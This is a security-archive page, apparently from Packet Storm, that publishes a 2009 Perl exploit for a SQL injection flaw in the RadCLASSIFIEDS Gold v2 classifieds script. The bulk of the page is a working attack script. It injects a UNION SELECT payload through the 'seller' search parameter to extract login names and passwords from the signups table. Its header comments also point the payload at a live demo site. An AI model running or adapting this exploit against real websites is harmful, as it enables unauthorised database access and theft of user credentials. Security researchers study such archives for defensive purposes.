what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

RadCLASSIFIEDS Gold V2 SQL Injection

RadCLASSIFIEDS Gold V2 SQL Injection
Posted Jun 3, 2009
Authored by Br0ly

RadCLASSIFIEDS Gold version 2 remote SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | 5d1c3adb04832969fab483800d40abc2fd6e341d3122608f7742afac0443220c

RadCLASSIFIEDS Gold V2 SQL Injection

Change Mirror Download
#!usr/bin/perl
#|------------------------------------------------------------------------------------------------------------------
#| -Info:
#
#| -Name: RadCLASSIFIEDS Gold v2
#| -Site: http://radscripts.com/
#| -Site Demo: http://www.radclassifieds.com
#| -Bug: Sql Injection
#| -Found: by Br0ly
#| -BRAZIL >D
#| -Contact: br0ly[dot]Code[at]gmail[dot]com
#|
#| -Gretz: Osirys , xs86 , str0ke, 0ut0fBound , c0d3_z3r0
#|
#| -p0c:
#| -SQL INJECTION:
#|
#| -9999+union+all+select+0,1--
#|
#| - Demo ONline:
#|
#| -> http://www.radclassifieds.com/index.php?a=search&type=Any&search=1&seller=-9999+union+all+select+@@version,1--
#|
#|
#| -Exploit: Demo:
#|
#|perl radclassifieds.txt http://www.radclassifieds.com/
#|
#| --------------------------------------
#| -RadCLASSIFIEDS
#| -Sql Injection
#| -by Br0ly
#| --------------------------------------
#|
#|[+] Getting LOGIN and PASS
#|[+] LOGIN = chub
#|[+] PASS = chub
#|
#|
#| OBS: This IS only a Demo..
#|
#|
use IO::Socket::INET;
use LWP::UserAgent;

my $host = $ARGV[0];
my $sql_path = "/index.php?a=search&type=Any&search=1&seller=";


if (@ARGV < 1) {
&banner();
&help("-1");
}

elsif(cheek($host) == 1) {
&banner();
&xploit($host,$sql_path);
}

else {
&banner();
help("-2");
}

sub xploit() {

my $host = $_[0];
my $sql_path = $_[1];

print "[+] Getting LOGIN and PASS\n";

my $sql_atk = $host.$sql_path."-9999+union+all+select+concat(0x6272306c79,0x3a,user,0x3a,password,0x3a,0x6272306c79),1+from+radclassifieds_signups--";
print "$sql_atk";
my $sql_get = get_url($sql_atk);
my $connect = tag($sql_get);

if($connect =~ /br0ly:(.+):(.+):br0ly/) {

print "[+] LOGIN = $1\n";
print "[+] PASS = $2\n";

}

else {
print "[-] Exploit, Fail\n";
}
}

sub get_url() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
return $response->content;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub help() {

my $error = $_[0];
if ($error == -1) {
print "\n[-] Error, missed some arguments !\n\n";
}

elsif ($error == -2) {

print "\n[-] Error, Bad arguments !\n";
}

print "[*] Usage : perl $0 http://localhost/RadCLASSIFIEDS/\n\n";
print " Ex: perl $0 http://localhost/RadCLASSIFIEDS/\n\n";
exit(0);
}

sub banner {
print "\n".
" --------------------------------------\n".
" -RadCLASSIFIEDS \n".
" -Sql Injection \n".
" -by Br0ly \n".
" --------------------------------------\n\n";
}



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close